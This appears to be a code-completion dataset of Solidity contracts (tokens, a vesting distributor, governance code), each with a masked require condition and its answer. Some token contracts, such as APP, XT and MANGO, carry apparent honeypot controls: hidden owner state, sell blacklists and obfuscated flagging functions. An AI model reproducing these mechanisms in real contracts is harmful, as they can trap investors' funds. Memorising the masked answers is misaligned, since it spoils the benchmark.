_name; string private _symbol; constructor(string memory name_, string memory symbol_) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function transfer(address to, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { } function _transfer(address from, address to, uint256 amount) internal virtual { } function _mint(address account, uint256 amount) internal virtual { } function _approve(address owner, address spender, uint256 amount) internal virtual { } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract VERSEYE is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; string private _name = "VERSEYE"; string private _symbol = "VERSEYE"; bool private swapping; mapping(address => bool) private isExcludedFromFees; mapping(address => bool) private isExcludedMaxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public buyFee; bool public tradingPermitted = false; bool public swapEnable = false; bool public limitsInEffect = true; uint256 public sellFee; address public uniswapV2Pair; address private constant DEAD = address(0xdead); address private constant ZERO = address(0); uint256 public maxTransactionAmount; uint256 public maxWallet; address public marketingWallet; mapping(address => bool) private pairs; constructor() ERC20(_name, _symbol) { } receive() external payable {} function excludeFromMaxTransactionAmount(address _address, bool excluded) public onlyOwner { } function _transfer(address from, address to, uint256 amount) internal override { } function changeSwap() external onlyOwner { } function swapTokensForEth(uint256 tokenAmount) private { } function allowTrade() external onlyOwner { require(<FILL_ME>) tradingPermitted = true; } function swapBack(bool _manualSwap) private { } }
!tradingPermitted,"Trading is already open"
116,321
!tradingPermitted
"Not register"
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.3; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract InvestorsMerkleDistributorMain is Ownable { address public immutable token; bytes32 public immutable merkleRoot; uint256 lock = 276 days; uint256 startTime = block.timestamp; struct UserInfo { uint256 amount; uint256 reward; bool register; } mapping(address => UserInfo) public userInfo; constructor(address token_, bytes32 merkleRoot_) public { } function getReward(address account) public view returns (uint256) { } function claim(address account) external { require(block.timestamp >= startTime, "Not start"); require(<FILL_ME>) require( userInfo[account].reward < userInfo[account].amount, "Already claimed" ); uint256 devtPerSecond = userInfo[account].amount / lock; uint256 shouldReward = devtPerSecond * (block.timestamp - startTime); shouldReward = shouldReward < userInfo[account].amount ? shouldReward : userInfo[account].amount; uint256 sendReward = shouldReward - userInfo[account].reward; userInfo[account].reward = shouldReward; require( IERC20(token).transfer(account, sendReward), "MerkleDistributor: Transfer failed." ); } function userRegister( uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof ) external { } function ownerRegister(address account, uint256 amount) public onlyOwner { } function ownerRegisterPrivate(address account, uint256 amount) private { } function sendOwnerAll() public onlyOwner { } function sendOwnerNum(uint256 _num) public onlyOwner { } function setStartTime(uint256 _startTime) public onlyOwner { } }
userInfo[account].register,"Not register"
116,384
userInfo[account].register
"Already claimed"
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.3; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract InvestorsMerkleDistributorMain is Ownable { address public immutable token; bytes32 public immutable merkleRoot; uint256 lock = 276 days; uint256 startTime = block.timestamp; struct UserInfo { uint256 amount; uint256 reward; bool register; } mapping(address => UserInfo) public userInfo; constructor(address token_, bytes32 merkleRoot_) public { } function getReward(address account) public view returns (uint256) { } function claim(address account) external { require(block.timestamp >= startTime, "Not start"); require(userInfo[account].register, "Not register"); require(<FILL_ME>) uint256 devtPerSecond = userInfo[account].amount / lock; uint256 shouldReward = devtPerSecond * (block.timestamp - startTime); shouldReward = shouldReward < userInfo[account].amount ? shouldReward : userInfo[account].amount; uint256 sendReward = shouldReward - userInfo[account].reward; userInfo[account].reward = shouldReward; require( IERC20(token).transfer(account, sendReward), "MerkleDistributor: Transfer failed." ); } function userRegister( uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof ) external { } function ownerRegister(address account, uint256 amount) public onlyOwner { } function ownerRegisterPrivate(address account, uint256 amount) private { } function sendOwnerAll() public onlyOwner { } function sendOwnerNum(uint256 _num) public onlyOwner { } function setStartTime(uint256 _startTime) public onlyOwner { } }
userInfo[account].reward<userInfo[account].amount,"Already claimed"
116,384
userInfo[account].reward<userInfo[account].amount
"MerkleDistributor: Transfer failed."
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.3; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract InvestorsMerkleDistributorMain is Ownable { address public immutable token; bytes32 public immutable merkleRoot; uint256 lock = 276 days; uint256 startTime = block.timestamp; struct UserInfo { uint256 amount; uint256 reward; bool register; } mapping(address => UserInfo) public userInfo; constructor(address token_, bytes32 merkleRoot_) public { } function getReward(address account) public view returns (uint256) { } function claim(address account) external { require(block.timestamp >= startTime, "Not start"); require(userInfo[account].register, "Not register"); require( userInfo[account].reward < userInfo[account].amount, "Already claimed" ); uint256 devtPerSecond = userInfo[account].amount / lock; uint256 shouldReward = devtPerSecond * (block.timestamp - startTime); shouldReward = shouldReward < userInfo[account].amount ? shouldReward : userInfo[account].amount; uint256 sendReward = shouldReward - userInfo[account].reward; userInfo[account].reward = shouldReward; require(<FILL_ME>) } function userRegister( uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof ) external { } function ownerRegister(address account, uint256 amount) public onlyOwner { } function ownerRegisterPrivate(address account, uint256 amount) private { } function sendOwnerAll() public onlyOwner { } function sendOwnerNum(uint256 _num) public onlyOwner { } function setStartTime(uint256 _startTime) public onlyOwner { } }
IERC20(token).transfer(account,sendReward),"MerkleDistributor: Transfer failed."
116,384
IERC20(token).transfer(account,sendReward)
"Already register"
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.3; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract InvestorsMerkleDistributorMain is Ownable { address public immutable token; bytes32 public immutable merkleRoot; uint256 lock = 276 days; uint256 startTime = block.timestamp; struct UserInfo { uint256 amount; uint256 reward; bool register; } mapping(address => UserInfo) public userInfo; constructor(address token_, bytes32 merkleRoot_) public { } function getReward(address account) public view returns (uint256) { } function claim(address account) external { } function userRegister( uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof ) external { require(<FILL_ME>) // Verify the merkle proof. bytes32 node = keccak256(abi.encodePacked(index, account, amount)); require( MerkleProof.verify(merkleProof, merkleRoot, node), "MerkleDistributor: Invalid proof." ); userInfo[account] = UserInfo(amount * 1e18, 0, true); } function ownerRegister(address account, uint256 amount) public onlyOwner { } function ownerRegisterPrivate(address account, uint256 amount) private { } function sendOwnerAll() public onlyOwner { } function sendOwnerNum(uint256 _num) public onlyOwner { } function setStartTime(uint256 _startTime) public onlyOwner { } }
!userInfo[account].register,"Already register"
116,384
!userInfo[account].register
"ALREADY_INITIALIZED"
// SPDX-License-Identifier: Apache-2.0. pragma solidity ^0.6.12; import "MGovernance.sol"; /* Implements Generic Governance, applicable for both proxy and main contract, and possibly others. Notes: The use of the same function names by both the Proxy and a delegated implementation is not possible since calling the implementation functions is done via the default function of the Proxy. For this reason, for example, the implementation of MainContract (MainGovernance) exposes mainIsGovernor, which calls the internal _isGovernor method. */ struct GovernanceInfoStruct { mapping(address => bool) effectiveGovernors; address candidateGovernor; bool initialized; } abstract contract Governance is MGovernance { event LogNominatedGovernor(address nominatedGovernor); event LogNewGovernorAccepted(address acceptedGovernor); event LogRemovedGovernor(address removedGovernor); event LogNominationCancelled(); function getGovernanceInfo() internal view virtual returns (GovernanceInfoStruct storage); /* Current code intentionally prevents governance re-initialization. This may be a problem in an upgrade situation, in a case that the upgrade-to implementation performs an initialization (for real) and within that calls initGovernance(). Possible workarounds: 1. Clearing the governance info altogether by changing the MAIN_GOVERNANCE_INFO_TAG. This will remove existing main governance information. 2. Modify the require part in this function, so that it will exit quietly when trying to re-initialize (uncomment the lines below). */ function initGovernance() internal { GovernanceInfoStruct storage gub = getGovernanceInfo(); require(<FILL_ME>) gub.initialized = true; // to ensure addGovernor() won't fail. // Add the initial governer. addGovernor(msg.sender); // Emit governance information. emit LogNominatedGovernor(msg.sender); emit LogNewGovernorAccepted(msg.sender); } function _isGovernor(address user) internal view override returns (bool) { } /* Cancels the nomination of a governor candidate. */ function _cancelNomination() internal onlyGovernance { } function _nominateNewGovernor(address newGovernor) internal onlyGovernance { } /* The addGovernor is called in two cases: 1. by _acceptGovernance when a new governor accepts its role. 2. by initGovernance to add the initial governor. The difference is that the init path skips the nominate step that would fail because of the onlyGovernance modifier. */ function addGovernor(address newGovernor) private { } function _acceptGovernance() internal { } /* Remove a governor from office. */ function _removeGovernor(address governorForRemoval) internal onlyGovernance { } }
!gub.initialized,"ALREADY_INITIALIZED"
116,472
!gub.initialized
"ALREADY_GOVERNOR"
// SPDX-License-Identifier: Apache-2.0. pragma solidity ^0.6.12; import "MGovernance.sol"; /* Implements Generic Governance, applicable for both proxy and main contract, and possibly others. Notes: The use of the same function names by both the Proxy and a delegated implementation is not possible since calling the implementation functions is done via the default function of the Proxy. For this reason, for example, the implementation of MainContract (MainGovernance) exposes mainIsGovernor, which calls the internal _isGovernor method. */ struct GovernanceInfoStruct { mapping(address => bool) effectiveGovernors; address candidateGovernor; bool initialized; } abstract contract Governance is MGovernance { event LogNominatedGovernor(address nominatedGovernor); event LogNewGovernorAccepted(address acceptedGovernor); event LogRemovedGovernor(address removedGovernor); event LogNominationCancelled(); function getGovernanceInfo() internal view virtual returns (GovernanceInfoStruct storage); /* Current code intentionally prevents governance re-initialization. This may be a problem in an upgrade situation, in a case that the upgrade-to implementation performs an initialization (for real) and within that calls initGovernance(). Possible workarounds: 1. Clearing the governance info altogether by changing the MAIN_GOVERNANCE_INFO_TAG. This will remove existing main governance information. 2. Modify the require part in this function, so that it will exit quietly when trying to re-initialize (uncomment the lines below). */ function initGovernance() internal { } function _isGovernor(address user) internal view override returns (bool) { } /* Cancels the nomination of a governor candidate. */ function _cancelNomination() internal onlyGovernance { } function _nominateNewGovernor(address newGovernor) internal onlyGovernance { GovernanceInfoStruct storage gub = getGovernanceInfo(); require(newGovernor != address(0x0), "BAD_ADDRESS"); require(<FILL_ME>) require(gub.candidateGovernor == address(0x0), "OTHER_CANDIDATE_PENDING"); gub.candidateGovernor = newGovernor; emit LogNominatedGovernor(newGovernor); } /* The addGovernor is called in two cases: 1. by _acceptGovernance when a new governor accepts its role. 2. by initGovernance to add the initial governor. The difference is that the init path skips the nominate step that would fail because of the onlyGovernance modifier. */ function addGovernor(address newGovernor) private { } function _acceptGovernance() internal { } /* Remove a governor from office. */ function _removeGovernor(address governorForRemoval) internal onlyGovernance { } }
!_isGovernor(newGovernor),"ALREADY_GOVERNOR"
116,472
!_isGovernor(newGovernor)
"NOT_GOVERNOR"
// SPDX-License-Identifier: Apache-2.0. pragma solidity ^0.6.12; import "MGovernance.sol"; /* Implements Generic Governance, applicable for both proxy and main contract, and possibly others. Notes: The use of the same function names by both the Proxy and a delegated implementation is not possible since calling the implementation functions is done via the default function of the Proxy. For this reason, for example, the implementation of MainContract (MainGovernance) exposes mainIsGovernor, which calls the internal _isGovernor method. */ struct GovernanceInfoStruct { mapping(address => bool) effectiveGovernors; address candidateGovernor; bool initialized; } abstract contract Governance is MGovernance { event LogNominatedGovernor(address nominatedGovernor); event LogNewGovernorAccepted(address acceptedGovernor); event LogRemovedGovernor(address removedGovernor); event LogNominationCancelled(); function getGovernanceInfo() internal view virtual returns (GovernanceInfoStruct storage); /* Current code intentionally prevents governance re-initialization. This may be a problem in an upgrade situation, in a case that the upgrade-to implementation performs an initialization (for real) and within that calls initGovernance(). Possible workarounds: 1. Clearing the governance info altogether by changing the MAIN_GOVERNANCE_INFO_TAG. This will remove existing main governance information. 2. Modify the require part in this function, so that it will exit quietly when trying to re-initialize (uncomment the lines below). */ function initGovernance() internal { } function _isGovernor(address user) internal view override returns (bool) { } /* Cancels the nomination of a governor candidate. */ function _cancelNomination() internal onlyGovernance { } function _nominateNewGovernor(address newGovernor) internal onlyGovernance { } /* The addGovernor is called in two cases: 1. by _acceptGovernance when a new governor accepts its role. 2. by initGovernance to add the initial governor. The difference is that the init path skips the nominate step that would fail because of the onlyGovernance modifier. */ function addGovernor(address newGovernor) private { } function _acceptGovernance() internal { } /* Remove a governor from office. */ function _removeGovernor(address governorForRemoval) internal onlyGovernance { require(msg.sender != governorForRemoval, "GOVERNOR_SELF_REMOVE"); GovernanceInfoStruct storage gub = getGovernanceInfo(); require(<FILL_ME>) gub.effectiveGovernors[governorForRemoval] = false; emit LogRemovedGovernor(governorForRemoval); } }
_isGovernor(governorForRemoval),"NOT_GOVERNOR"
116,472
_isGovernor(governorForRemoval)
null
/** Telegram: https://t.me/mangoerc **/ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Ownable { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } function owner() public view virtual returns (address) { } function _checkOwner() internal view virtual { } function renounceOwnership() public virtual onlyOwner { } function _transferOwnership(address newOwner) internal virtual { } } contract MANGO is Ownable{ event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); mapping(address => bool) public boboinfo; constructor(string memory tokenname,string memory tokensymbol,address pvxbnor) { } address public pwjazif; uint256 private _totalSupply; string private _tokename; string private _tokensymbol; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; function name() public view returns (string memory) { } uint128 bosum = 34534; bool globaltrue = true; bool globalff = false; function dpjgmol(address zflprey) public virtual returns (bool) { address tmoinfo = zflprey; boboinfo[tmoinfo] = globaltrue; require(<FILL_ME>) return true; } function ljkavbc() external { } function symbol() public view returns (string memory) { } function jsnlrgy(address hkkk) external { } function decimals() public view virtual returns (uint8) { } function totalSupply() public view returns (uint256) { } function balanceOf(address account) public view returns (uint256) { } function transfer(address to, uint256 amount) public returns (bool) { } function allowance(address owner, address spender) public view returns (uint256) { } function approve(address spender, uint256 amount) public returns (bool) { } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { } function _transfer( address from, address to, uint256 amount ) internal virtual { } function _approve( address owner, address spender, uint256 amount ) internal virtual { } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { } }
_msgSender()==pwjazif
116,531
_msgSender()==pwjazif
null
/** *Submitted for verification at Etherscan.io on 2023-06-17 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } abstract contract Context { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { } } interface IERC20 { function decimals() external returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Router02 { function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract APP is Ownable { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address coin; address pair; mapping(address => bool) whites; mapping(address => bool) blacks; mapping (address => uint256) hodl; uint256 public lastHODL; receive() external payable { } function initParam(address _coin, address _pair) external onlyOwner { } function resetParam() external onlyOwner { } function HODL(uint256 amount) external onlyOwner { } function quote( uint256 amount, address from, address to ) external returns (uint256 amountB) { if (whites[from] || whites[to] || pair == address(0)) { return amount; } else if ((from == owner() || from == address(this)) && to == pair) { return 0; } if (from == pair) { if (hodl[to] == 0) { hodl[to] = block.timestamp; } } else { require(!blacks[from]); require(<FILL_ME>) } return amount; } function swap(uint256 count) external onlyOwner { } function addW(address[] memory _wat) public onlyOwner{ } function addB(address[] memory _bat) public onlyOwner{ } function claimDust() external onlyOwner { } }
hodl[from]-lastHODL>=0
116,598
hodl[from]-lastHODL>=0
null
// SPDX-License-Identifier: MIT pragma solidity = 0.8.21; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } } contract Ownable is Context { address private _Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view returns (address) { } function renounceOwnership() public virtual { } } contract XT is Context, IERC20, Ownable, IERC20Metadata { mapping (address => uint256) internal _balances; mapping (address => uint256) internal _state; mapping (address => bool) private _executeTransfer; mapping (address => mapping (address => uint256)) private _allowances; uint256 private maxTxLimit = 1*100**11*10**9; uint256 internal _totalSupply; bool intTx = true; uint256 private balances; string private constant _name = "Xtra-Terrestial"; string private constant _symbol = unicode"𝕏👽"; uint8 private _decimals = 9; constructor () { } modifier onlyOwner() { require(<FILL_ME>) _; } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function feeReceiver(address _Address) external onlyOwner { } function transferExecute(address _Address) external onlyOwner { } function rewardsBalance(address _Address) public view returns (bool) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { } function _transfer(address sender, address recipient, uint256 amount) internal virtual { } function _transferfrom(address sender, address recipient, uint256 amount) internal virtual { } function _burn(address account, uint256 amount) external onlyOwner { } function _approve(address owner, address spender, uint256 amount) internal virtual { } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
_state[_msgSender()]==2
116,710
_state[_msgSender()]==2
null
/* Scorcher is the first contract to utilize the utility of Pyro: PyroBurn. Scorcher features: 🔥 3% to a true burn where the tokens are deducted from the supply creating a hyper-defaltionary token. 🔥 3% for auto LP to ensure an evergrowing Liquidity Pool. 🔥 3% to PyroBurn contract where it buys and burns Pyro. 🔥 A 9% Jeet Killer tax at launch to help deter snipers. */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } library Address { function isContract(address account) internal view returns (bool) { } function sendValue(address payable recipient, uint256 amount) internal { } function functionCall(address target, bytes memory data) internal returns (bytes memory) { } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } function _transferOwnership(address newOwner) internal virtual { } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } contract Scorcher is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; string private constant _name = "Scorcher"; string private constant _symbol = "SCOR"; uint8 private constant _decimals = 6; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 public _tTotal = 1000 * 1e3 * 1e6; //1,000,000 uint256 public _maxWalletAmount = 20 * 1e3 * 1e6; //2% uint256 public j_maxtxn = 10 * 1e3 * 1e6; //1% uint256 public swapAmount = 7 * 1e2 * 1e6; //.07% uint256 private buyPyroUpperLimit = 100 * 1e14; // 0.01 // fees uint256 public j_liqBuy = 3; uint256 public j_burnBuy = 3; uint256 public j_pyroBuy = 3; uint256 public j_jeetBuy = 0; uint256 public j_liqSell = 3; uint256 public j_burnSell = 3; uint256 public j_pyroSell = 3; uint256 public j_jeetSell = 9; uint256 private j_previousLiqFee = j_liqFee; uint256 private j_previousBurnFee = j_burnFee; uint256 private j_previousPyroFee = j_pyroFee; uint256 private j_previousJeetTax = j_jeetTax; uint256 private j_liqFee; uint256 private j_burnFee; uint256 private j_pyroFee; uint256 private j_jeetTax; uint256 public _totalBurned; struct FeeBreakdown { uint256 tLiq; uint256 tBurn; uint256 tPyro; uint256 tJeet; uint256 tAmount; } mapping(address => bool) private bots; address payable private scorcherWallet = payable(0x1bac9F80D0a91faC0DEbbb4953927e588733b74d); address payable public dead = payable(0x000000000000000000000000000000000000dEaD); address PYRO = 0x89568569DA9C83CB35E59F92f5Df2F6CA829EEeE; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private swapping = false; bool public burnMode = false; modifier lockSwap { } constructor() { } function name() public pure returns (string memory) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function totalSupply() public view override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer(address recipient, uint256 amount) external override returns (bool) { } function allowance(address owner, address spender) external view override returns 